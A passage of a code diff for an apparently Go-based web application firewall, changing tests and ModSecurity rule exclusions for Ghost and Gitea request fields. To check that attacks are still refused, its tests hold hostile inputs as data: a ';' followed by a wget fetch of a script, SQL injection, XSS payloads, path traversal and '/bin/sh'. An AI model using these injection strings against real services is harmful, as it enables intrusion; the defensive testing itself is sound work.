`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
// image, with VALUE as the image's description.
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
// ghostReply is the path that posts a reply to a note in ActivityPub.
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
@@ -135,6 +251,8 @@ var ghostAddressFields = []ghostField{
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
{
http.MethodPost,
ghostPasswordReset,
@@ -143,10 +261,48 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostArticleFields hold an article and skip the rules of 900355.
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
// sends as an @ followed by an address, with no spaces. They skip 930120 and
// 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = []ghostField{
var ghostHandleFields = []ghostField{
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
}
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
// skip 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomainFields = []ghostField{
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
}
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
// address of an account removed from those that move here in ActivityPub.
// They skip 930120 and 932120, as url does.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"canonical_url":"VALUE"}]}`,
},
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostPostFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{
@@ -155,6 +311,13 @@ var ghostArticleFields = []ghostField{
`{"posts":[{"html":"VALUE"}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
// footer, skip the rules of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetAndNewsletterFooterFields = []ghostField{
{
http.MethodPost,
"/ghost/api/admin/snippets/",
@@ -167,8 +330,16 @@ var ghostArticleFields = []ghostField{
},
}
// ghostCodeFields hold code injection or a setting and skip the rules of
// 900356.
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(
ghostPostFields,
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
// and 900378, and take a <script> element by 900366 and 900378.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
@@ -187,6 +358,16 @@ var ghostCodeFields = []ghostField{
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
{
http.MethodPost,
ghostTags,
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
@@ -195,22 +376,50 @@ const (
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
ghostPathname = ghostStats + "&pathname="
ghostSource = ghostStats + "&source="
ghostCampaign = ghostStats + "&utm_campaign="
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
ghostInvitedEmail = ghostInvitation + "?email="
)
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
// analytics, each ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAnalyticsFilters = []string{
ghostSource,
ghostStats + "&utm_source=",
ghostStats + "&utm_medium=",
ghostCampaign,
ghostStats + "&utm_content=",
ghostStats + "&utm_term=",
}
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
ghostAccountSearch, ghostInvitedEmail,
}
// ghostURLs are addresses 930120 and 932120 refused in url.
// ghostCommandNames joins two command names, as an ordinary title can.
const ghostCommandNames = "powershell & python3"
// ghostURLs are addresses 930120 and 932120 refused in url and in
// ghostURLFields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
"https://github.com/example/site/blob/main/.htaccess",
"https://example.com/blog/powershell-tips?ref=ghost",
"https://example.com/docs/python3/",
"https://example.com/blog/powershell/",
"https://example.com/blog/.htaccess/",
}
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -222,6 +431,15 @@ var ghostAddresses = []string{
"dave.powershell@example.com",
}
// ghostDomains are domains 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomains = []string{
"erin.htaccess.example.com",
"python3.example.com",
"powershell.example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -311,14 +529,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
for _, f := range ghostURLFields {
wantGhostField(t, f, address, false)
}
}
for _, address := range ghostAddresses {
for _, f := range ghostAddressFields {
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
wantGhostField(t, f, address, false)
}
}
for _, domain := range ghostDomains {
for _, f := range ghostDomainFields {
wantGhostField(t, f, domain, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
@@ -327,6 +555,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostField(t, ghostNewComment, ghostComment, false)
wantGhostField(
t,
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
"A terminal running ls -la on .htaccess with python3",
false,
)
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -335,11 +571,42 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostAttacks are an SQL injection, a path traversal and a script
// injection, not escaped.
// ghostWidget is an HTML card that embeds a widget with its script.
const ghostWidget = `<div id="signup"></div>` +
`<script src="https://widgets.example.com/form.js" async></script>`
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
`"html":"<div id=\"signup\"></div><script ` +
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
`src="https://analytics.example.com/script.js"></script>`
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
t.Parallel()
// An HTML card in a post, as the editor saves it, and as integrations
// send it.
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
for _, f := range ghostPostFields {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's, a page's or a
// tag's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
}
// ghostAttacks are an SQL injection and a path traversal, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
var ghostAttacks = []string{injection, pathTraversal}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -349,6 +616,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
@@ -358,13 +626,31 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
wantGhostField(t, f, commandAfterASeparator, true)
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever 932235 does not
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
// url, pathname, email_segment and email. The other fields skip 932235,
// which refuses "powershell & python3" as it refuses this.
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
ghostDomainFields, ghostURLFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range []string{
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
ghostInvitedEmail,
} {
wantGhostQuery(
t,
target+url.QueryEscape(commandAfterASeparator),
@@ -372,19 +658,158 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
)
}
// The articles and code injection carry HTML on purpose, but a script
// element and a javascript: link are still refused there.
// A comment keeps the rules for scripts and HTML.
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
wantGhostField(
t,
ghostNewComment,
`<a href="javascript:alert(1)">x</a>`,
true,
)
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
for _, f := range ghostSnippetAndNewsletterFooterFields {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address and the domain keep 932250, which refuses a listing of
// files. A handle keeps it too, but its @ comes before any command.
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostTwoCommandNamesPass(t *testing.T) {
t.Parallel()
// The site's title, saved through settings.
siteTitle := ghostField{
http.MethodPut,
ghostSettings,
`{"settings":[{"key":"title","value":"VALUE"}]}`,
}
wantGhostField(t, siteTitle, ghostCommandNames, false)
// Values that join two command names, as a person types them.
for _, typed := range []string{
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
"ls -la & python3",
} {
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
wantGhostField(t, f, typed, false)
}
wantGhostImportLabel(t, ghostImport, typed, false)
for _, target := range slices.Concat(
ghostAnalyticsFilters,
[]string{ghostAccountSearch},
) {
wantGhostQuery(t, target+url.QueryEscape(typed), false)
}
// filter as the admin's post picker writes it, after a person types
// such a title.
filter := "status:published+title:~'" + typed + "'"
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
}
}
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
// pages, email_segment, the search of ActivityPub and the check of an
// invitation.
func TestGhostOrdinaryQueriesPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
text := url.QueryEscape("Notes on " + value + " & tidy files")
for _, target := range ghostAnalyticsFilters {
wantGhostQuery(t, target+encoded, false)
}
wantGhostQuery(t, ghostCampaign+text, false)
wantGhostQuery(t, ghostAccountSearch+text, false)
}
// pathname, the page the analytics show: a post and two tag pages.
for _, path := range []string{
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
} {
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
}
wantGhostQuery(
t,
ghostCampaign+url.QueryEscape(ghostCommandNames),
false,
)
wantGhostQuery(
t,
ghostAccountSearch+"%40powershell%40example.com",
false,
)
for _, segment := range []string{
"label:powershell-users", "label:python3", "label:ls-la",
"label:htaccess", "status:free,tier:powershell-club",
} {
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
}
for _, address := range ghostAddresses {
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
}
}
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
// refuses label, sent as labels in a CSV import to target, or lets it
// through.
func wantGhostImportLabel(
t *testing.T, target, label string, refused bool,
) {
t.Helper()
r := request{http.MethodPost, target, []string{multipart}}
body := field("labels", label) + field("mapping[email]", "email") + end
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
}
}
func TestGhostImportLabelsPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
wantGhostImportLabel(t, ghostImport, value+" import", false)
}
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
for _, attack := range ghostAttacks {
wantGhostImportLabel(t, ghostImport, attack, true)
}
// labels keeps its rules on other paths, and when the query has a field
// of the same name.
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -401,6 +826,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -420,7 +847,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -437,6 +863,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
{ghostPosts, userEmail},
{ghostUser + "?json.users.0.email=x", userEmail},
{"/api/posts/1/", postURL},
{ghostMembers, postURL},
{ghostPage, postURL},
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
{ghostPost, pageURL},
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -459,12 +891,54 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
}
}
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A <script> element keeps 941110 off the Admin API, in fields that do
// not take one, and when the query has a field of the same name. 941100
// and 941160 refuse each request too, so the test looks for 941110
// itself.
const (
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/ghost/api/content/posts/", scriptInPost},
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{ghostPosts, scriptInTag},
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold ||
!slices.Contains(got.RuleIDs, 941110) {
t.Errorf(
"PUT %s %s: %+v, want 941110 among them",
refused.target,
refused.body,
got,
)
}
}
}
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds.
// url only on the editor's lookup of embeds. pathname, email_segment,
// query and email skip theirs only on their own paths.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
@@ -473,11 +947,79 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
"/ghost/api/admin/stats/top-content/?order=powershell",
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
"/ghost/api/admin/posts/?query=python3",
"/.ghost/activitypub/v1/actions/note?query=python3",
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
} {
wantGhostQuery(t, target, true)
}
}
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
// the others: each keeps its rules on another path, and when the query has
// a field of the same name.
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
altText = `{"image":{"altText":"python3"}}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
targetHandle = `{"targetHandle":"@powershell@example.com"}`
domain = `{"domain":"python3.example.com"}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/users/1/", bio},
{ghostMember, bio},
{ghostUser + "?json.users.0.bio=x", bio},
{ghostPosts, comment},
{ghostComments + "?json.comments.0.html=x", comment},
{ghostAccount, content},
{ghostNote + "?json.content=x", content},
{ghostAccount, altText},
{ghostNote + "?json.image.altText=x", altText},
{ghostNote, accountBio},
{ghostAccount + "?json.bio=x", accountBio},
{ghostPosts, invited},
{ghostInvites + "?json.invites.0.email=x", invited},
{ghostInvites, accepted},
{ghostInvitation + "?json.invitation.0.email=x", accepted},
{ghostMigration, sourceHandle},
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
{ghostMigration, actorURI},
{ghostAliases + "?json.actorUri=x", actorURI},
{ghostAliases, targetHandle},
{ghostMigration + "?json.targetHandle=x", targetHandle},
{ghostAccount, domain},
{ghostDomain + "?json.domain=x", domain},
{ghostPosts, tagCode},
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
{ghostPosts, tagURL},
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
if got.Score < ghostThreshold {
t.Errorf("PUT %s %s let through: %+v", refused.target,
refused.body, got)
}
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
+89 -6
View File
@@ -172,11 +172,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
# A branch, tag or package name can hold a slash, as feat/docker-support and
# npm's @scope/name do. So q on a repository's branches, tags and packages
# pages, on an owner's packages page and on the admin page of packages also
# skips this rule:
# pages, on an owner's packages page, on the admin page of packages, on the
# API's search of packages and on the Composer and Conan registries' searches
# also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
admin/packages)$" \
admin/packages|api/v1/packages/[^/]+|\
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches send a name or a few words in q too, which skips only
@@ -188,7 +190,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# The searches:
# - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users;
# - the lists of users and organisations;
# - the API's searches of users, of topics, of an organisation's teams and of
# emails;
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
# NuGet registry's search service;
# - the list of repositories a user watches;
# - an organisation's milestones of one team, and its search for teams;
# - the milestones of a repository or an organisation, and the projects of a
@@ -205,7 +211,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# versions holds the package's name, which can hold a slash, as npm's
# @scope/name does.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
explore/(?:users|organizations)|api/v1/users/search|\
explore/(?:users|organizations)|\
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
admin/emails/search)|\
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
[^/]+/-/packages/[^/]+/.+/versions|\
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
@@ -219,6 +229,79 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Two of the API's searches send their words in a field other than q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3, alice/python3-app
# The search of unadopted repositories sends an owner and a name, such as
# alice/python3-app, in query.
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
"id:900607,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query"
# The search of a repository's milestones sends a milestone's name in name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
"id:900608,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The npm registry's search sends its words in text, which skips these rules
# there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
"id:900609,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:text,\
ctl:ruleRemoveTargetById=932120;ARGS:text,\
ctl:ruleRemoveTargetById=932160;ARGS:text,\
ctl:ruleRemoveTargetById=932250;ARGS:text,\
ctl:ruleRemoveTargetById=932260;ARGS:text"
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
# injection (942100) refused in q. q skips that rule when the query string has
# one q, made only of the characters of a Conan name and *: letters, digits,
# _, ., +, -, /, @ and *. Such a q holds no quote, space or bracket, so SQL
# injection such as 1' OR '1'='1 stays refused.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
"id:900611,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:q "@eq 1" "chain"
SecRule ARGS_GET:q "@rx ^[\w.+*/@-]+$" \
"ctl:ruleRemoveTargetById=942100;ARGS:q"
# The NuGet registry's older searches, Search() and Packages(), send their words
# in searchTerm, or in $filter as an expression such as
# tolower(Id) eq 'python3'. searchTerm skips these rules:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# $filter skips these:
# 930120: .htaccess
# 932120: powershell
# The names $filter, $orderby and $top skip the rule for MongoDB operators
# (942290), which refused every such search.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)$" \
"id:900612,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
@@ -394,7 +477,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
# refused it.
# Each field below that names a branch skips these rules:
# 932120: fix-powershell-module
+206 -4
View File
@@ -3,6 +3,7 @@ package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -85,7 +86,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -146,7 +147,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
@@ -170,7 +171,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
@@ -182,7 +183,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
}
}
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
attacks := []string{binSh, commandInjection, pathTraversal}
// /bin/sh, a shell command after a ";", a path traversal and the hard
// values stay refused in q on paths near the searches, and in another
@@ -248,3 +249,204 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
}
}
}
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
// field skips the lists of system files and command names. Each ends in the
// field it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaAPISearches = []string{
"/api/v1/users/search?q=",
